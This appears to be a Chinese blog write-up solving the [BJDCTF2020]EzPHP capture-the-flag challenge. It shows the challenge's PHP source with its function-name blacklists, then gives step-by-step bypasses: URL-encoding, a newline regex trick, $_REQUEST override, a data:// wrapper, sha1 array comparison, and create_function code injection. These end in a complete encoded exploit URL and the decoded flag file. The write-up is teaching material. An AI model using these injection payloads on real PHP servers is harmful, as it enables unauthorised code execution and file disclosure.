本文已参与「新人创作礼」活动，一起开启掘金创作之路。

[BJDCTF2020]EzPHP

  <?php 
highlight_file(__FILE__); 
error_reporting(0);  
 
$file = "1nD3x.php"; 
$shana = $_GET['shana']; 
$passwd = $_GET['passwd']; 
$arg = ''; 
$code = ''; 
 
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>"; 
 
if($_SERVER) {  
    if ( 
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|.|"|'|log/i', $_SERVER['QUERY_STRING']) 
        )   
        die('You seem to want to do something bad?');  
} 
 
if (!preg_match('/http|https/i', $_GET['file'])) { 
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {  
        $file = $_GET["file"];  
        echo "Neeeeee! Good Job!<br>"; 
    }  
} else die('fxck you! What do you want to do ?!'); 
 
if($_REQUEST) {  
    foreach($_REQUEST as $value) {  
        if(preg_match('/[a-zA-Z]/i', $value))   
            die('fxck you! I hate English!');  
    }  
}  
 
if (file_get_contents($file) !== 'debu_debu_aqua') 
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>"); 
 
 
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ 
    extract($_GET["flag"]); 
    echo "Very good! you know my password. But what is flag?<br>"; 
} else{ 
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); 
} 
 
if(preg_match('/^[a-z0-9]*$/isD', $code) ||  
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|`|{|%|x|&|$|*|||<|"|'|=|?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|.|log|^/i', $arg) ) {  
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");  
} else {  
    include "flag.php"; 
    $code('', $arg);  
} ?>  
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?

有点复杂，慢慢看

第一步有个正则匹配

if($_SERVER) {  
    if ( 
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|.|"|'|log/i', $_SERVER['QUERY_STRING']) 
        )   
        die('You seem to want to do something bad?');  
}

其中$_SERVER['QUERY_STRING']的返回值为url中?后面的语句

$_SERVER[‘QUERY_STRING’]在读取url时并不会对url进行解码，而$_GET['x']是会进行url解码的，所以我们要把可能出现在黑名单的字符串进行url编码后再传入，根据这一个点我们可以进行绕过

第二步

if (!preg_match('/http|https/i', $_GET['file'])) { 
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {  
        $file = $_GET["file"];  
        echo "Neeeeee! Good Job!<br>"; 
    }  
} else die('fxck you! What do you want to do ?!');

这里正则要求头尾匹配但又不能匹配，这里可以直接在结尾加上%0a即换行符，来进行绕过

第三步

if($_REQUEST) {  
    foreach($_REQUEST as $value) {  
        if(preg_match('/[a-zA-Z]/i', $value))   
            die('fxck you! I hate English!');  
    }  
}

$_REQUEST是所有的GET与POST传的参数，过滤掉字母，这里要怎样绕过呢，根据其特性

变量post值会优先于get，我们只要在get传入变量后，再用post方式传入数字值进行覆盖即可

考点确实多

第四步

 if (file_get_contents($file) !== 'debu_debu_aqua') 
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

这里的话要包含这个debu_debu_aqua，但根据网页得知，似乎网站似乎没有这个文件，这里要怎样绕过的，这里的话可以用伪协议去绕过

file=data://text/plain,deb%75_deb%75_aq%75a

第五步

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ 
    extract($_GET["flag"]); 
    echo "Very good! you know my password. But what is flag?<br>"; 
} else{ 
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); 
}

经过sha1加密后的两个参数要一样，但是未加密时要不相等，强碰撞，没有限制字符，可以数组绕过

sh%61na[]=0&p%61sswd[]=0

第六步

if(preg_match('/^[a-z0-9]*$/isD', $code) ||  
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|`|{|%|x|&|$|*|||<|"|'|=|?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|.|log|^/i', $arg) ) {  
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");  
} else {  
    include "flag.php"; 
    $code('', $arg);

应该是最后一步了吧，这里的话想了好久，看到师傅们说的是可以利用creat_function注入

举个例子

<?php
$XINO = create_function('$a, $b','return ($a-$b);');
echo $XINO(2,2);
?>

等价于

<?php
function XINO($a,$b)
{
	return $a+$b;
}
echo afunc(2,2);
?>

可以看到，我们就创建了一个名为XINO的方法，然后对参数进行运算

回到题目，$code参数是可以控制的，这里的话就是一个利用点，我们可以通过给arg赋值来做

，话说回来，我们并没有$code和$arg的参数,应该用extract($_GET["flag"])

extract可以给变量$code和$arg赋值

get_defined_vars()直接输出所有变量

$flag[code]=create_function&$flag[arg]=} var_dump(get_defined_vars())//
提示flag在rea1fl4g.php

这里的//是要注释掉后面的内容，没太搞懂为啥要这样

之后

require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

为了绕过关键词还要进行取反操作

/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
;//

得到

PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyI+DQo8dGl0bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJmbGFnezE3ODgwNzMyLWYxZjMtNGM2Yy1hZjU2LThjMzEwYmQxYzgyZn0iOw0KCXVuc2V0KCRyZWExX2YxMTE0Zyk7DQo=

解码

<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>Real_Flag In Here!!!</title>
</head>
</html>
<?php
	echo "咦，你居然找到我了？！不过看到这句话也不代表你就能拿到flag哦！";
	$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
	$rea1_f1114g = "flag{17880732-f1f3-4c6c-af56-8c310bd1c82f}";
	unset($rea1_f1114g);

BUUCTF(39)

本文已参与「新人创作礼」活动，一起开启掘金创作之路。

[BJDCTF2020]EzPHP